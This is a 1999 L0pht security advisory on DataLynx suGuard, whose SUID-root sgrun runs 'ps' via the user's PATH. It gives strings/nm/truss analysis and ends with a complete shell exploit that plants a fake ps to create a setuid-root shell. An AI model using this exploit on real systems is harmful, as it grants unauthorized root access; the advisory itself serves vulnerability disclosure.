suguard.txt

` L0pht Security Advisory  
  
Advisory released Jan 3 1999  
Application: suGuard rev 1.0 from DataLynx  
Severity: any user configured under suGuard can  
execute any command as root  
  
Author: [email protected]  
http://www.l0pht.com/advisories.html  
  
  
Overview :  
  
During a cursory examination of DataLynx's suGuard program to exploit  
/tmp vulnerabilities, much more blatent security problems were  
uncovered.   
In particular, a process listing is run from suGuard's main application.   
The first instance of the 'ps' program found in the users PATH   
environment  
is assumed to be the valid ps program and is run with root privileges.  
  
sgrun, the datalynx program, is SUID root and as such enables any user   
configured for suGuard to execute arbitrary commands as root.  
  
Example :  
  
[furby-death] ./dlx_sploit.sh /bin/datalynx/sgrun Identify  
datalynx sgrun proof of concept exploit from L0pht [[email protected]]  
  
Segmentation Fault  
root shell created as ./sushi  
  
[furby-death] ls -l sushi  
-r-sr-xr-x 1 root other 186356 Oct 1 14:25 sushi  
[furby-death] ./sushi  
#  
  
Description :  
  
So, roughly 2:30am I was sitting around wondering when and how I should  
release the /tmp tool that I had whipped up and left lying around. It  
occured to me that the best way to show its merits was to have it aid in  
finding a security vulnerability. What better type of application to  
demonstrate security vulnerabilities in than security apps. It ends up  
being akin to breaking into vehicles to steal those stupid red clubs  
(which ends up being pretty easy).  
  
The only question was what software to look at. As it turns out, one of  
the folks over at the L0pht brought over a trade rag and I started leafing  
through it. I was relatively confident that I would find some company who  
had taken out a full page add with expensive looking artwork pawning their  
wares. I would download an eval copy and have my example of poor code to  
use in announcing the little temp-tool.  
  
What I got was worse than I dared imagine. In fact, though there were the  
style of problems that I was looking for, the kindergarden security  
mistakes that presented themselves here that I was not looking for  
warranted their own advisory. I guess I'll need to go find another piece  
of software to usher in the little util.   
  
suGuard is a commercial product put out by a company name DataLynx   
[http://www.dlxguard.com]. It is basically sudo with a GUI interface and  
some other functionality. Since it is designed to manage priviledged   
execution of programs is installed SUID root.  
  
A quick strings(1) shows several likely problems in the code:  
  
71800 /tmp  
74192 /tmp/dxpids.%d  
74208 ps -ef > %s  
78600 /tmp/gdtemp1  
78616 ps -ef > %s  
  
The /tmp lines show improper usage of the /tmp directory while the ps  
lines indicate what is most likely the args to a s{n}printf that will be  
handed off for execution.   
  
A quick nm(1) further validates our concerns:  
  
0000204184 U popen  
0000203536 U execvp  
  
There are a couple of quick attacks to attempt here. First, playing with  
the path and second playing with the field seperator IFS (both work here  
by the way).   
  
truss'ing the program will show the problems in much more detail:  
  
[note: Identify is the profile name I gave /bin/id for sgrun - see  
the suGuard documentation for how to set these up]  
  
truss -f -o xxx /bin/datalynx/sgrun Identify   
grep ps xxx  
[snip]  
15651: stat64("/usr/sbin/ps", 0xEFFFF2D8) Err#2 ENOENT  
15651: stat64("/usr/bin/ps", 0xEFFFF2D8) = 0  
15651: access("/usr/bin/ps", 9) = 0  
15653: execve("/usr/bin/ps", 0x00038B78, 0x00038BAC) argc = 2  
[snip]  
  
The above trace segment shows the walking of PATH directories to find ps  
and then execute it with the arguments we noted from the strings(1) run.   
This is what we expect since ps was not given an explicit path and the  
calls for execution were either popen or execvp, both of which would  
follow the PATH environment variable to find the executable.   
  
Though we exercise this particular problem, it should be noted that  
several others exist in the program.   
  
Mini-Rant:  
  
The web page for Datalynx has links to "hacker/cracker sites" and also   
"security sites". It seems somewhat ironic that someone coming from a  
"hacker/cracker" site (yes, l0pht is listed) finds this vulnerability and  
publishes it yet none of the "security" sites seem to be doing this.  
Makes you wonder who is really securing the internet/corporate world. Is  
it the hackers or the "security sites"?  
  
Exploit code:  
  
--------cut here--------  
  
#!/bin/sh  
# sgrun exploit - the types of vulnerabilities that this exploit exercises  
# have no right being introduced to code in this day and age. Much less  
# code which presents itself under the pretenses of securing your system.  
# .mudge 01.02.99  
#  
SUSHI=./sushi  
  
if [ $# -ne 2 ] ; then  
echo Must specify path to sgrun [/bin/datalynx/sgrun] and sgrun argument  
echo [email protected] [01.02.99]  
exit 1  
fi  
  
SGRUN=$1  
ARG=$2  
  
if [ -f ${SUSHI} ] ; then  
echo root shell already created?  
exit  
fi  
  
echo datalynx sgrun proof of concept exploit from L0pht [[email protected]]  
echo  
  
cat > ./ps << FOEFOE  
#!/bin/sh  
cp /bin/ksh ${SUSHI}  
chown root ${SUSHI}  
chmod 4555 ${SUSHI}  
FOEFOE  
  
chmod 755 ./ps  
  
PATH=.:${PATH}  
export PATH  
  
#/bin/datalynx/sgrun Identify   
${SGRUN} ${ARG}  
if [ -f ${SUSHI} ] ; then  
echo root shell created as ${SUSHI}  
ls -l ${SUSHI}  
echo  
fi   
  
--------cut here--------  
  
[email protected]  
---------------  
For more L0pht (that's L - zero - P - H - T) advisories check out:  
http://www.l0pht.com/advisories.html  
---------------  
  
  
`